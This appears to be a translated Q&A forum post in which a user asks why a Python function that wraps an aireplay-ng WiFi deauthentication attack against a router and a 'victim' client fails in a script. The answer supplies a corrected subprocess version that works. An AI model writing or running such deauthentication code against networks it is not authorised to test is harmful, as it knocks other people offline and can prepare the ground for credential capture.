在攻击开始时在终端中写入此命令,但是当我在脚本中写入相同的命令时,这将是一个错误。
无效的BSSID(AP MAC地址)。
" aireplay-ng --help"寻求帮助。
def deauth(mac_roteur,mac_victime,essid):
os.system('sudo aireplay-ng -0 0 -b'+ mac_roteur+'-c'+ mac_victime + '-e'+ essid +'--ignore-negative-one mon0')
我需要帮助。感谢。
答案 0 :(得分:0)
如果要运行命令,则应使用subprocess模块:
from subprocess import check_call
def deauth(mac_roteur,mac_victime,essid):
check_call(['sudo', 'aireplay-ng','-0', '0', '-b', mac_roteur, '-c', mac_victime, '-e', essid, '--ignore-negative-one','mon0'])
我假设您正在使用sudo运行脚本。